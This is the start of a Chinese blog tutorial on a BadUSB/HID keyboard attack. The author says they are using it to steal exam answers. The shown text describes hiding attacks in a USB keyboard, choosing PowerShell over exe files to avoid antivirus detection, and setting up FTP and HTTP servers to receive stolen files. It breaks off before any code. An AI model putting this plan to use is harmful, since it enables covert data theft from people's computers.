0×01 引言
又到了期中考试了，我又要去偷答案了，一直发现远程下载运行exe的方式不太好，容易报毒所以这里打算用ps脚本。
0×02 关于HID
HID是Human Interface Device的缩写，由其名称可以了解HID设备是直接与人交互的设备，例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口，只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。
0×03 准备工具
一台外网主机(直接电脑接网线宽带拨号也可以)
一个HID攻击工具(烧鹅或者Badusb)
FTPserver(搭建一个FTP服务器用来接收窃取到的文件)
PHPstudy(搭建http服务器用来存放ps脚本等)
7z.exe / 7z.dll(存放到http服务器下,之后会利用它来进行压缩后在上传，尽量减小上传速度)
0×04 代码部分(以下代码可能具有攻击性,请勿用于非法用途)
1.[get.bat](获取需要的文件存放位置，并保存到c:\temp.bat)[该代码存放于服务器http根目录下]
